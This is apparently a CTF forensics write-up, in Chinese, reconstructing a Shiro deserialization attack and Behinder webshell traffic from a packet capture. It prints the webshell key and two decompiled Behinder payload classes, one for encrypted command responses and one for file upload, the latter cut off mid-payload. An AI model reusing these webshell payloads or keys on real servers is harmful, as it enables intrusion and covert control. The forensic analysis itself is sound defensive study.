mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4
1887 字
5 分钟
2026复现文档
2025-03-13

2026复现文档#

路虽远,行则将至;事虽难,做则必成

软件系统安全赛-初赛#

traffic_hunt#

题目提示传输的文件,先过滤一下http post有没有信息:

image-20260315120023817

结果发现大部分post路径都在favicondemo.ico,很经典的冰蝎webshell流量特征,

查看第一个post:

image-20260315120141646

发现rememberme值,可以确定这里有shiro反序列化的利用,

从有回显的内容开始看:

image-20260315120217390

可以发现是命令执行,命令在Authorization字段base64,回显是$$$包裹的base64

解密:

image-20260315120244617

image-20260315120354921

当前路径在根目录。

接着扫描了目录:

image-20260315120417504

image-20260315120431378

根目录内容:

total 21844
drwxr-xr-x 1 root root 4096 Jan 6 03:43 .
drwxr-xr-x 1 root root 4096 Jan 6 03:43 ..
-rwxr-xr-x 1 root root 0 Jan 6 03:43 .dockerenv
drwxr-xr-x 1 root root 4096 Oct 21 2016 bin
drwxr-xr-x 2 root root 4096 Sep 12 2016 boot
drwxr-xr-x 5 root root 340 Jan 6 03:43 dev
drwxr-xr-x 1 root root 4096 Jan 6 03:43 etc
drwxr-xr-x 2 root root 4096 Sep 12 2016 home
drwxr-xr-x 1 root root 4096 Oct 31 2016 lib
drwxr-xr-x 2 root root 4096 Oct 20 2016 lib64
drwxr-xr-x 2 root root 4096 Oct 20 2016 media
drwxr-xr-x 2 root root 4096 Oct 20 2016 mnt
drwxr-xr-x 2 root root 4096 Oct 20 2016 opt
dr-xr-xr-x 167 root root 0 Jan 6 03:43 proc
drwx------ 2 root root 4096 Oct 20 2016 root
drwxr-xr-x 3 root root 4096 Oct 20 2016 run
drwxr-xr-x 2 root root 4096 Oct 20 2016 sbin
-rw-r--r-- 1 root root 22290368 Dec 19 2019 shirodemo-1.0-SNAPSHOT.jar
drwxr-xr-x 2 root root 4096 Oct 20 2016 srv
dr-xr-xr-x 13 root root 0 Jan 6 03:43 sys
drwxrwxrwt 1 root root 4096 Jan 6 03:43 tmp
drwxr-xr-x 1 root root 4096 Oct 31 2016 usr
drwxr-xr-x 1 root root 4096 Oct 31 2016 var

这里可以看到**shirodemo-1.0-SNAPSHOT.jar**: 这就是漏洞所在的 Java 应用程序

之后执行了w命令:

image-20260315120500551

最后一个post,只有user参数,是一段非常长的 Base64 编码数据,

解码:

image-20260315120515669

可以发现是一个class文件

提取出来:

image-20260315120544879

分析,可以知道,这就是上传的冰蝎内存马,

同时在请求里还可以得到密钥和路径:

image-20260315120605035

即webshell流量通过/favicondemo.ico传入,密码是HWmc2TLDoihdlr0N

而冰蝎的连接密码一般是密钥的哈希值前16位,即: 1f2c8075acd3d118

接下来解密/favicondemo.ico的post数据:

image-20260315120643570

image-20260315120659355

响应是典型的分块传输格式。数据体中的180是十六进制,表示接下来的数据块长度为384字节

image-20260315120724810

分析请求解密后的代码:

package net.qmrqiui;
import java.lang.reflect.Method;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class Fmdrfajtrr {
public static String content;
public static String payloadBody;
private Object Request;
private Object Response;
private Object Session;
public Fmdrfajtrr() {
content = "";
content = content + "1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v";
super();
}
public boolean equals(Object obj) {
LinkedHashMap result = new LinkedHashMap();
boolean var13 = false;
Object so;
Method write;
label77: {
try {
var13 = true;
this.fillContext(obj);
result.put("status", "success");
result.put("msg", content);
var13 = false;
break label77;
} catch (Exception var17) {
result.put("msg", var17.getMessage());
result.put("status", "success");
var13 = false;
} finally {
if (var13) {
try {
Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
Method write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var14) {
var14.printStackTrace();
}
}
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var15) {
var15.printStackTrace();
}
return true;
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var16) {
var16.printStackTrace();
}
return true;
}
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
Iterator var5 = entity.keySet().iterator();
while(var5.hasNext()) {
String key = (String)var5.next();
sb.append("\"" + key + "\":\"");
String value = (String)entity.get(key);
if (encode) {
value = this.base64encode(value.getBytes());
}
sb.append(value);
sb.append("\",");
}
if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}
sb.append("}");
return sb.toString();
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
this.Session = obj.getClass().getMethod("getSession").invoke(obj);
} else {
Map<String, Object> objMap = (Map)obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}
private String base64encode(byte[] data) throws Exception {
String result = "";
String var4 = System.getProperty("java.version");
Class Base64;
try {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
} catch (Throwable var7) {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = Base64.newInstance();
result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
result = result.replace("\n", "").replace("\r", "");
}
return result;
}
private byte[] getMagic() throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
Random random = new Random();
byte[] buf = new byte[magicNum];
for(int i = 0; i < buf.length; ++i) {
buf[i] = (byte)random.nextInt(256);
}
return buf;
}
private byte[] Encrypt(byte[] var1) throws Exception {
String var2 = "1f2c8075acd3d118";
byte[] var3 = var2.getBytes("utf-8");
SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
var5.init(1, var4);
byte[] var6 = var5.doFinal(var1);
Class var7;
try {
var7 = Class.forName("java.util.Base64");
Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);
var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
} catch (Throwable var12) {
var7 = Class.forName("sun.misc.BASE64Encoder");
Object var10 = var7.newInstance();
String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
var11 = var11.replace("\n", "").replace("\r", "");
var6 = var11.getBytes();
}
return var6;
}
}

可以发现构造函数里把 content 赋值为一段固定字符串

equals() 方法中:

result.put("status", "success");
result.put("msg", content);

所以 msg 就是 content 的值。

解密响应:

image-20260315120815876

得到msg:

1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v

因此后续只需要分析响应即可。

image-20260315120851555

第二个响应,输出的系统信息,base64编码。

image-20260315120906429

下面继续是信息收集

image-20260315120921389

image-20260315120934518

image-20260315120949854

在这里发现了ps -ef命令的输出。

可以看到执行了命令:

java -jar /shirodemo-1.0-SNAPSHOT.jar /bin/sh -c cd / ;ps -ef

image-20260315121031003

解密后:

[
{"size":"4096","perm":"rwxr-xr-x","name":".","lastModified":"2026/01/06 03:43:19","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"..","lastModified":"2026/01/06 03:43:19","type":"directory"},
{"size":"340","perm":"rwxr-xr-x","name":"dev","lastModified":"2026/01/06 03:43:19","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"home","lastModified":"2016/09/12 04:09:59","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"usr","lastModified":"2016/10/31 21:55:17","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"media","lastModified":"2016/10/20 20:17:26","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"lib64","lastModified":"2016/10/20 20:17:48","type":"directory"},
{"size":"4096","perm":"rwxrwxrwx","name":"tmp","lastModified":"2026/01/06 03:43:23","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"mnt","lastModified":"2016/10/20 20:17:26","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"run","lastModified":"2016/10/20 20:17:26","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"sbin","lastModified":"2016/10/20 20:18:37","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"lib","lastModified":"2016/10/31 21:55:16","type":"directory"},
{"size":"4096","perm":"rwx------","name":"root","lastModified":"2016/10/20 20:17:26","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"srv","lastModified":"2016/10/20 20:17:26","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"boot","lastModified":"2016/09/12 04:09:59","type":"directory"},
{"size":"0","perm":"r-xr-xr-x","name":"proc","lastModified":"2026/01/06 03:43:19","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"etc","lastModified":"2026/01/06 03:43:19","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"var","lastModified":"2016/10/31 21:55:13","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"bin","lastModified":"2016/10/21 20:10:24","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"opt","lastModified":"2016/10/20 20:17:26","type":"directory"},
{"size":"0","perm":"r-xr-xr-x","name":"sys","lastModified":"2026/01/06 03:43:19","type":"directory"},
{"size":"0","perm":"rwxr-xr-x","name":".dockerenv","lastModified":"2026/01/06 03:43:19","type":"file"},
{"size":"22290368","perm":"rw-r--r--","name":"shirodemo-1.0-SNAPSHOT.jar","lastModified":"2019/12/19 19:20:14","type":"file"}
]

攻击者应该执行了类似ls -la /的命令

image-20260315121106704

[
{"size":"4096","perm":"rwxr-xr-x","name":".","lastModified":"2026/01/06 03:43:19","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"..","lastModified":"2026/01/06 03:43:19","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"tomcat.2371687671290980390.8080","lastModified":"2026/01/06 03:43:23","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"hsperfdata_root","lastModified":"2026/01/06 03:43:19","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"tomcat-docbase.8306629792413863933.8080","lastModified":"2026/01/06 03:43:23","type":"directory"}
]

接下来黑客通过冰蝎的文件管理功能,在查看 /tmp 目录(临时目录)下的内容

接着是查看/var的内容

image-20260315121130928

[
{"size":"4096","perm":"rwxr-xr-x","name":".","lastModified":"2026/01/06 03:43:19","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"..","lastModified":"2026/01/06 03:43:19","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"log","lastModified":"2016/10/31 21:55:18","type":"directory"},
{"size":"4096","perm":"rwxrwxrwx","name":"tmp","lastModified":"2016/09/12 04:09:59","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"run","lastModified":"2016/10/20 20:17:26","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"cache","lastModified":"2016/10/31 21:55:19","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"lib","lastModified":"2016/10/31 21:55:16","type":"directory"},
{"size":"4096","perm":"rwxrwxr-x","name":"local","lastModified":"2016/09/12 04:09:59","type":"directory"},
{"size":"4096","perm":"rwxrwxrwx","name":"lock","lastModified":"2016/10/20 20:17:26","type":"directory"},
{"size":"4096","perm":"rwxrwxr-x","name":"mail","lastModified":"2016/10/20 20:17:26","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"backups","lastModified":"2016/09/12 04:09:59","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"spool","lastModified":"2016/10/20 20:17:26","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"opt","lastModified":"2016/10/20 20:17:26","type":"directory"}
]

查看 /var/tmp 目录:

image-20260315121157050

[
{"size":"4096","perm":"rwxr-xr-x","name":".","lastModified":"2026/01/06 03:43:19","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"..","lastModified":"2026/01/06 03:43:19","type":"directory"}
]

接下来的响应只返回了ok,我们再分析请求内容

image-20260315121220179

很长的一串请求

分析内容,可以发现进行了文件上传操作:

package sun.yxiw;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.channels.FileChannel;
import java.nio.charset.Charset;
import java.nio.file.LinkOption;
import java.nio.file.Path;
import java.security.MessageDigest;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Random;
import java.util.Set;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class Auydc {
public static String mode;
public static String path;
public static String newPath;
public static String content;
public static String charset;
public static String hash;
public static String blockIndex;
public static String blockSize;
public static String createTimeStamp;
public static String modifyTimeStamp;
public static String accessTimeStamp;
private Object Request;
private Object Response;
private Object Session;
private Charset osCharset;
public Auydc() {
mode = "";
mode = mode + "update";
path = "";
path = path + "/var/tmp/out";
blockIndex = "";
blockIndex = blockIndex + "2";
blockSize = "";
blockSize = blockSize + "30720";
content = "";
content = content + "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